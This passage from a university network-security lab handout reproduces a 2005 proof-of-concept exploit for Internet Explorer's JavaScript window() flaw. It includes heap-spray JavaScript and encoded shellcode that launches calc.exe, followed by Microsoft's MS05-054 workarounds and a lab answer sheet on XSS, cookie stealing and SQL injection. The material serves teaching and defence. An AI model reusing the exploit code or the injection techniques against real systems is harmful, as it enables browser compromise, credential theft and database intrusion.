At the same time a blank window is opened, probably to block off the javascript prompt. Finally, another page which contain the exploit <body onload=window();> line of code initialize the desired code execution. The Internet Explorer will unexpectedly close. In this proof of concept code, a harmless calculator program is executed. The source code of the page that contain the link that initialize attack: Microsoft Internet Explorer JavaScript Window() - Proof Of Concept ============================================ 56 Author: -------Stuart Pearson Computer Terrorism (UK) www.computerterrorism.com 21st November, 2005 THE FOLLOWING PROOF OF CONCEPT IS PROVIDED EXCLUSIVELY FOR EDUCATIONAL PURPOSES ONLY, AND IS PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR COMPUTER TERRORISM MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE FITNESS OF THIS CODE FOR ANY PARTICULAR PURPOSE. PERMISSION TO USE, COPY, PRINT, AND DISTRIBUTE THIS DOCUMENT FOR EDUCATIONAL PURPOSES IS HEREBY GRANTED, PROVIDED THAT THE TEXTUAL CONTENT REMAINS INTACT AND UNMODIFIED. --> <html> <head> <meta http-equiv="Content-Language" content="en-gb"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <title>Computer Terrorism - Microsoft Internet Explorer Proof of Concept</title> <script type="text/javascript"> function runpoc(iframecount) { document.getElementById('table1').rows[2].cells[0].innerHTML="<p align=center><B> <font color=#339966 size=1 face=Arial>&nbsp;&nbsp;&nbsp;&nbsp;loading, please wait.... </font></p>" document.getElementById('table1').rows[4].cells[0].innerHTML="" document.getElementById('table1').rows[6].cells[0].innerHTML="" document.getElementById('table1').rows[7].cells[0].innerHTML="" document.getElementById('table1').rows[9].cells[0].innerHTML="" top.consoleRef = open('blankWindow.htm','BlankWindow', 'width=1,height=1' +',menubar=0' +',toolbar=1' +',status=0' +',scrollbars=0' +',left=1' +',top=1' +',resizable=0') top.consoleRef.blur(); top.consoleRef.document.writeln( '<html>' 57 +'<head>' +'<title>CT</title>' +'</head>' +'<body onBlur=self.blur()>' +'</body></html>' ) self.focus() // Ensure the javascript prompt boxes are hidden in the background for (i=1 ; i <=iframecount ; i++) { top.consoleRef.document.writeln('<iframe width=1 height=1 border=0 frameborder=0 src=fillmem.htm></iframe>') } if( iframecount == 8 ){ //alert('8'); top.consoleRef.document.writeln('<iframe width=1 height=1 border=0 frameborder=0 src=bug2k.htm></iframe>') } if( iframecount == 4 ){ //alert('4'); top.consoleRef.document.writeln('<iframe width=1 height=1 border=0 frameborder=0 src=bug.htm></iframe>') } //+'<iframe width=1 height=1 border=0 frameborder=0 src=bug.htm></iframe>' //) } </script> </head> <body onLoad="self.moveTo(0,0);self.resizeTo(screen.width,screen.height);"> <p>&nbsp;</p> <p>&nbsp;</p> <table border="0" width="100%" id="table1"> <tr> <td> <p align="center"><font color="#333333"><b><font size="1" face="Arial"> Microsoft Internet Explorer JavaScript Window() Proof of Concept</font></b> </font></td> </tr> <tr> <td width="98%" height="15"> <p align="center"><b><font face="Arial" size="1" color="#333333">Select your operating system:-</font></b></td> </tr> <tr> 58 <td width="98%" height="10"></td> </tr> <tr> <td width="98%" height="27" align="center"> <p><b><font color="#339966" size="1" face="Arial"> -</font><font color="#333333"><font color="#333333" size="1" face="Arial"> </font> </font> <font color="#333333" size="1" face="Arial"><a href="#" onclick="javascript:runpoc(4)"> <span style="text-decoration: none"><font color="#333333">Microsoft Windows XP (All Service Packs)</font></span></a><font color="#333333"> </font></font> <font color="#339966" size="1" face="Arial"> -</font></b></td> </tr> <tr> <td width="98%" height="22" align="center"> <p><b><font color="#339966" size="1" face="Arial"> -</font><font color="#333333"><font color="#333333" size="1" face="Arial"> </font> </font> <font color="#333333" size="1" face="Arial"><a href="#" onclick="javascript:runpoc(8)"> <span style="text-decoration: none"><font color="#333333">Microsoft Windows 2000/Universal (Slower)</font></span></a><font color="#333333"> </font></font> <font color="#339966" size="1" face="Arial"> -</font></b></td> </tr> <tr> <td width="98%" height="15" align="center"> </td> </tr> <tr> <td width="98%" height="15" align="center"> <b><font color="#339966" face="Arial" size="1">invokes calc.exe if successful</font></b></td> </tr> </table> </body> </html> ---------------------------------------------------------------------------------------------------------------- The source code of the page that contain the Javascript Promt boxes: <-- fillmem.htm --> <HTML> <HEAD> <Script Language="JavaScript"> function load() { var spearson=0 var eip = "" var prep_shellcode = "" var shellcode = "" var fillmem = "" // // Address called by the bug (also serves as slide code) 59 // for (spearson=1 ; spearson <=500 ; spearson++) { eip = eip + unescape("%u7030%u4300") //eip = eip + unescape("%u4300") } // // Create a large chunk for memory saturation // for (spearson=1 ; spearson <=200; spearson++) { fillmem = fillmem + eip } // // Search for our shellcode (tagged with my initials) and copy to a more stable area // prep_shellcode = unescape("%u9090%uBA90%u4142%u4142%uF281%u1111%u1111%u4190" + "%u1139%uFA75%u9090%uF18B%uF88B%u9057%uc933%ub966" + "%u002d%ua5F3%u9090%u905f%ue7ff") // // Harmless Calc.exe // shellcode = unescape("%u5053%u5053%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF") fillmem = fillmem + prep_shellcode + shellcode prompt(fillmem,"Computer Terrorism (UK) Ltd - Internet Explorer Vulnerability") } // --> </Script> </head> <TITLE>Windows Explorer Exploit</TITLE> <body onload="setTimeout('load()',2000)"> test test test </body> </html> 60 -----------------------------------------------------------------------------------------------------------The page containing the actual exploit: <html> <TITLE>Crash2</title> <body onload="setTimeout('main()',6000)"> <SCRIPT> function main() { document.write("<TITLE>hello2</TITLE>") document.write("<body onload=window();>") window.location.reload() } </SCRIPT> <br><br><br><br><br><br><center><FONT FACE=ARIAL SIZE 12PT>Please Wait ! </FONT></center> 61 Code Execution Following are the screenshot of the calculator running on proof of concept code. The attack can be duplicated on computer in the lab without actual internet access by creating and opening the same malicious pages with source code aforementioned . 62 63 Defending against this exploit Microsoft released patch for IE Dec 2005 to fix this program. http://www.microsoft.com/technet/security/bulletin/MS05-054.mspx Several workaround is also available from Microsoft involving configuring Javascript: Configure Internet Explorer to prompt before running Active Scripting or disable Active Scripting in the Internet and Local intranet security zone You can help protect against this vulnerability by changing your settings to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone. To do this, follow these steps: 1. In Internet Explorer, click Internet Options on the Tools menu. 2. Click the Security tab. 3. Click Internet, and then click Custom Level. 4. Under Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK. 5. Click Local intranet, and then click Custom Level. 6. Under Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK. 7. If you are prompted to confirm that you want to change these settings, click Yes. 8. Click OK to return to Internet Explorer. Note Disabling Active Scripting in the Internet and Local intranet security zones may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly. Impact of Workaround: There are side effects to prompting before running Active Scripting. Many Web sites that are on the Internet or on an intranet use Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use Active Scripting to provide menus, ordering forms, or even account statements. Prompting before running Active Scripting is a global setting that affects all Internet and intranet sites. You will be prompted frequently when you enable this workaround. For each prompt, if you feel you trust the site that you are visiting, click Yes to run Active Scripting. If you do not want to be prompted for all these sites, use the "Restrict Web sites to only your trusted Web sites" workaround. • Set Internet and Local intranet security zone settings to “High” to prompt before running ActiveX Controls and Active Scripting in these zones You can help protect against this vulnerability by changing your settings for the Internet security zone to prompt before running ActiveX Controls and Active Scripting. You can do this by setting your browser security to High. To raise the browsing security level in Microsoft Internet Explorer, follow these steps: 1. On the Internet Explorer Tools menu, click Internet Options. 2. In the Internet Options dialog box, click the Security tab, and then click the Internet icon. 3. Under Security level for this zone, move the slider to High. This sets the security level for all Web sites you visit to High. Note If no slider is visible, click Default Level, and then move the slider to High. 64 Note Setting the level to High may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly even with the security setting set to High. 4. Click Custom Level. 5. Under Settings, in the Scripting section, under Active Scripting, click Prompt and then click OK. 6. If you are prompted to confirm that you want to change these settings, click Yes. 7. Click OK to return to Internet Explorer. Impact of Workaround: There are side effects to prompting before running ActiveX Controls and Active Scripting. Many Web sites that are on the Internet or on an intranet use ActiveX or Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use ActiveX Controls to provide menus, ordering forms, or even account statements. Prompting before running ActiveX Controls or Active Scripting is a global setting that affects all Internet and intranet sites. You will be prompted frequently when you enable this workaround. For each prompt, if you feel you trust the site that you are visiting, click Yes to run ActiveX Controls or Active Scripting. If you do not want to be prompted for all these sites, use the "Restrict Web sites to only your trusted Web sites" workaround. • Restrict Web sites to only your trusted Web sites After you set Internet Explorer to require a prompt before it runs ActiveX Controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to Internet Explorer's Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect you from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone. To do this, follow these steps: 1. In Internet Explorer, click Tools, click Internet Options, and then click the Security tab. 2. In the Select a Web content zone to specify its current security settings box, click Trusted Sites, click Default Level, move the slider to Medium, and then click Sites. Note Setting the level to Medium is a suggested added precaution. It may cause some Web sites to work incorrectly if you have placed sites in the Trusted sites zone that require the default setting of Low. 3. If you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box. 4. In the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add. 5. Repeat these steps for each site that you want to add to the zone. 6. Click OK two times to accept the changes and return to Internet Explorer. Add any sites that you trust not to take malicious action on your computer. One in particular that you may want to add is "*.windowsupdate.microsoft.com" (without the quotation marks). This is the site that will host the update, and it requires an ActiveX Control to install the update. Various antivirus also dealt with the problem by deleting the malicious page before the exploit is actually executed. 65 Answer Sheet Lab 9 Group Number:_____________ Member Names: ______________________ _______________________ Section 1.1 – Type 1: Reflected XSS Attacks Q1.1.1 What happened when you are taken to the search results page? Q1.1.2 Looking at the URL line at the top of the browser, what is value of the URL variable “searchQuery”? Q1.1.3 What are these two lines of code doing in the context of the application? Q1.1.4 Take a look at Appendix X (PHP REFERENCE). Which PHP function may be useful for properly handling user input? Q1.1.5 Rewrite line 10 of the code above to reflect this change. 66 Section 1.2 – Cookie Stealing and XSS Q1.2.1 Why are the DOMAIN and PATH attributes important in term of security? (Hint: What kind of data may the cookie potentially contain?) Q1.2.2 What happens when you try to go directly to the welcome page? Q1.2.3 What are the two lines that start with “document.cookie = “ doing? List the following attributes of the two cookies, NAME, MAX-AGE, PATH. Refer to the Javascript reference located in Appendix A. Q1.2.4 Look at the source of this page (/ece4112/cookie/welcome.php) in Appendix D and describe a potential XSS vulnerability that exists on this page. (Hint: It’s near the welcome message) Q1.2.5 What happens this time when you go directly to the page? Q1.2.6 What do you see when you navigate to this page? 67 Q1.2.7 What is different when you navigate to this page? Why is this so? Q1.2.8 What happens when you click the link? Does it seem as though anything malicious has occurred? Q1.2.9 What do you think the <a> tag in the malicious tag is doing. Q1.2.10 Do you see your group name and super secret password? Q1.2.11 Review the source code for harvestcookies.php in Appendix D. What is this program doing? Q1.2.12 When the link in the email was clicked, why did it seem as though no malicious activity took place? Section 1.3 – Type 2 – Persistent XSS attacks Q1.3.1 Look at the source code for messages.php and view_message.php, which can be found in APPENDIX D. Point out the parts of the code where an XSS vulnerability exists. 68 Q1.3.2What does the above code do? Q1.3.3 What happens when you click the message title? Does it look like anything malicious has occurred? Explain what has just happened. Q1.3.4 Post a message that, when clicked, will pop up an alert window with a message. What is the text you entered in the message body field to achieve this? Screenshot 2: Click on the message that you have just created and take a screenshot of the exploit in action (the browser window with the alert window). Section 2.1 – Introductory Exercises Q2.1.1 What message do you get back when you set the msg_id value to 1ee7? Q2.1.2 Which message do you get back when running http://<ip_address>/ece4112/messageboard/view_messages.php?msg_id=(SELECT COUNT(*) FROM users)? Section 2.2 – Blind SQL Injection Q2.2.1 What happens? Q2.2.2 What happens? Q2.2.3 How long is the password we are going to steal? 69 Q2.2.4 What is the $SQL variable going to be when it is submitted to the database? Q2.2.5 What is the user_id/password combination you stole? Q2.2.6 How might a web developer prevent this type of data theft? Section 2.3 – Faulty Login Page Q2.3.1 What happened? Explain why this sql injection worked. (Hint: what is -- in a sql statement?) Q2.3.2 List at least three other similar sql injection code snippets that could be used to exploit this login? Screenshot 3: Take a screen shot of a successful login. Section 2.4 – Securing the Login Page Q2.4.1 How are the passwords stored in the database? For verification, go to the database in mysql and view the contents of table users by typing select * from users. 70 Q2.4.2 How is the username and password verification different in login.php versus login_corrupt.php? Q2.4.3 What does the get_magic_quotes_gpc() function do? Q2.4.4 Explain the general strategy in preventing sql injection statements. How long did it take you to complete this lab? Was it an appropriate length lab? What corrections and/or improvements do you suggest for this lab? Please be very specific and if you add new material give the exact wording and instructions you would give to future students in the new lab handout. You may cross out and edit the text of the lab on previous pages to make minor corrections/suggestions. General suggestions like add tool xyz to do more capable scanning will not be awarded extras points even if the statement is totally true. Specific text that could be cut and pasted into this lab, completed exercises, and completed solutions may be awarded additional credit. Thus if tool xyz adds a capability or additional or better learning experience for future students here is what you need to do. You should add that tool to the lab by writing new detailed lab instructions on where to get the tool, how to install it, how to run it, what exactly to do 71 with it in our lab, example outputs, etc. You must prove with what you turn in that you actually did the lab improvement yourself. Screen shots and output hardcopy are a good way to demonstrate that you actually completed your suggested enhancements. The lab addition section must start with the form “laboratory Additions Cover Sheet” which may be found on the class web site. Turn In Checklist 1) Completed Answer Key 2) 3 Screenshots 72